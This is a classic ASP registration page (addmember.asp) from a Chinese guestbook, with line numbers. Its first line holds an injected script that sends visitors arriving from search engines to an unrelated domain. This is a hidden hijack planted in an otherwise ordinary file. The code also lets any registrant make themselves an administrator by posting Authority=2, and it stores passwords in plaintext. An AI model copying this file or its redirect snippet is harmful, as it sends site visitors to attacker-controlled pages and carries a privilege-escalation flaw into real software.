d:\wwwroot\wuchunhua\liuyan\addmember.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'检查用户名格式是否正确
003:
Function CheckUserName(uname)
004:
CheckUserName = TRUE
005:
Dim count
006:
Dim sstr(15)
007:
Dim lUserName
008:
Dim AscValue
009:
lUserName = LCase(uname)
010:
011:
'提取每一个字符，存储到数组中
012:
count = Len(lUserName)
013:
For i=1 To count
014:
sstr(i) = Mid(lUserName,i,1)
015:
Next
016:
017:
'依次检验每个字符，必须为字母、数字、或者下划线
018:
For i=1 To count
019:
AscValue = Asc(sstr(i))
020:
If (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) AND AscValue <> 95 Then
021:
CheckUserName = FALSE
022:
Exit For
023:
End If
024:
Next
025:
026:
End Function
027:
028:
'检查密码格式是否正确
029:
Function CheckPass(upass)
030:
CheckPass = TRUE
031:
Dim count
032:
Dim sstr(15)
033:
Dim lupass
034:
Dim AscValue
035:
lupass = LCase(upass)
036:
037:
'提取每一个字符，存储到数组中
038:
count = Len(lupass)
039:
For i=1 To count
040:
sstr(i) = Mid(lupass,i,1)
041:
Next
042:
043:
'依次检验每个字符，必须为字母或者数字
044:
For i=1 To count
045:
AscValue = Asc(sstr(i))
046:
if (AscValue < 97 OR AscValue > 122) AND (AscValue < 48 OR AscValue > 57) Then
047:
CheckPass = FALSE
048:
Exit For
049:
End If
050:
Next
051:
052:
End Function
053:
054:
'定义变量，以便获取表单参数
055:
Dim UserName, Password, Password2, RealName, Email, Url, Comment, RegCode, UserClass
056:
057:
UserName = Request.Form("name")'用户名
058:
Password = Request.Form("passwd")'用户密码
059:
Password2 = Request.Form("passwd2")'用户确认密码
060:
RegCode = Request.Form("RegCode")'用户验证码
061:
RealName = Request.Form("realname")'用户姓名
062:
Email = Request.Form("Email")'用户电子邮件地址
063:
Comment = Request.Form("Comment")'用户自我介绍
064:
UserClass = Request.Form("Authority")'用户级别
065:
Url = Request.Form("Url")'用户主页地址
066:
067:
'对所获得的表单参数进行有效性验证
068:
'用户名不能为空，且只能由有效字符组成
069:
If UserName = EMPTY Then
070:
Response.Redirect "register.asp?ErrMsg=请填写用户名"
071:
Response.End()
072:
End If
073:
074:
'用户帐号不可以超过 15 个字符
075:
If Len(UserName) >15 Then
076:
Response.Redirect "register.asp?ErrMsg=用户名不可以超过 15 个字符"
077:
Response.End()
078:
End If
079:
080:
'用户帐号格式必须正确
081:
If NOT(CheckUserName(UserName)) Then
082:
Response.Redirect "register.asp?ErrMsg=用户帐号应该由英文字母，数字或下划线组成"
083:
Response.End()
084:
End If
085:
086:
'密码不能为空
087:
If Password = EMPTY Then
088:
Response.Redirect "register.asp?ErrMsg=请填写用户密码"
089:
Response.End()
090:
End If
091:
092:
'密码不可以超过 15 个字符
093:
If Len(Password) > 15 Then
094:
Response.Redirect "register.asp?ErrMsg=用户密码不可以超过 15 个字符"
095:
Response.End()
096:
End If
097:
098:
'密码格式必须正确
099:
If NOT(CheckPass(Password)) Then
100:
Response.Redirect "register.asp?ErrMsg=用户密码由字母和数字组成"
101:
Response.End()
102:
End If
103:
104:
'密码确认字段不能为空
105:
If Password2 = EMPTY Then
106:
Response.Redirect "register.asp?ErrMsg=请填写密码确认字段"
107:
Response.End()
108:
End If
109:
110:
'两次密码输入必须一致
111:
If Password <> Password2 Then
112:
Response.Redirect "register.asp?ErrMsg=密码确认字段与用户密码字段不一致"
113:
Response.End()
114:
End If
115:
116:
'验证码不能为空
117:
If RegCode = EMPTY Then
118:
Response.Redirect "register.asp?ErrMsg=请填写验证码"
119:
Response.End()
120:
End If
121:
122:
'检查验证码是否正确
123:
If RegCode<> Session("RegCode") Then
124:
Response.Redirect "register.asp?ErrMsg=验证码不正确"
125:
End If
126:
127:
'真实姓名必填
128:
If RealName = EMPTY Then
129:
Response.Redirect "register.asp?ErrMsg=请填写真实姓名"
130:
Response.End()
131:
End If
132:
133:
'EMail必填
134:
If Email = EMPTY Then
135:
Response.Redirect "register.asp?ErrMsg=请填写电子邮件地址"
136:
Response.End()
137:
End If
138:
139:
'必须输入格式正确的EMail地址
140:
If InStr(Email,"@") = 0 Then
141:
Response.Redirect "register.asp?ErrMsg=请填写正确的电子邮件地址"
142:
Response.End()
143:
End If
144:
145:
'定义数据库连接对象，记录集对象，字符串对象
146:
Dim objConn,objRS,strSQL
147:
148:
'初始化数据库连接
149:
DB="./Board/database/BOARD.mdb"
150:
Set objConn = Server.CreateObject("ADODB.Connection")
151:
objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
152:
'打开数据库连接
153:
objConn.Open
154:
155:
'SQL语句
156:
strSQL = "SELECT * FROM MEMBER Where NAME='" & UserName & "'"
157:
158:
'打开数据集
159:
Set objRS = Server.CreateObject("ADODB.Recordset")
160:
objRS.Open strSQL, objConn, 1, 3, 1
161:
162:
'如果数据库为空，则表示用户名不存在，可以注册
163:
If objRS.EOF Then
164:
'添加管理员
165:
If UserClass = "2" Then
166:
objRS.AddNew Array("NAME", "PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT", "CLASS"), _
167:
Array(UserName, Password, RealName, Email, Url, Comment, 2)
168:
Else '添加普通用户
169:
objRS.AddNew Array("NAME", "PASSWORD", "REALNAME", "EMAIL", "URL", "COMMENT"), _
170:
Array(UserName, Password, RealName, Email, Url, Comment)
171:
End If
172:
173:
'更新数据库，插入数据
174:
objRS.Update
175:
176:
'关闭连接
177:
objRS.Close
178:
179:
'重新打开数据库
180:
objRS.Open strSQL, objConn, 1, 3, 1
181:
182:
'获取用户信息，并将这些信息写入Session
183:
If Session("IsPassed") <> TRUE Then
184:
Session("Id") = CStr(objRS.Fields("ID"))
185:
Session("Name")=UserName
186:
Session("IsPassed") = TRUE
187:
If UserClass = "2" Then
188:
Session("IsAdmin") = TRUE
189:
Session("Class") = "2"
190:
Else
191:
Session("IsAdmin") = FALSE
192:
Session("Class") = "9"
193:
End If
194:
End If
195:
196:
'关闭数据集和数据库连接，并释放对象
197:
objRS.Close
198:
Set objRS = Nothing
199:
objConn.Close
200:
Set objConn = Nothing
201:
202:
'重导向到系统主页面
203:
Response.Redirect "index.asp"
204:
Response.End()
205:
206:
Else
207:
'提示用户所选择的帐号已存在，并退回上一页
208:
%
>
209:
<html>
210:
<body>
211:
<script language="vbscript">
212:
<!--
213:
Window.alert "您所使用的帐号已经被他人注册了，请使用其他帐号。"
214:
History.back
215:
-->
216:
</script>
217:
</body>
218:
</html>
219:
<%
End If
%
>
220:
221: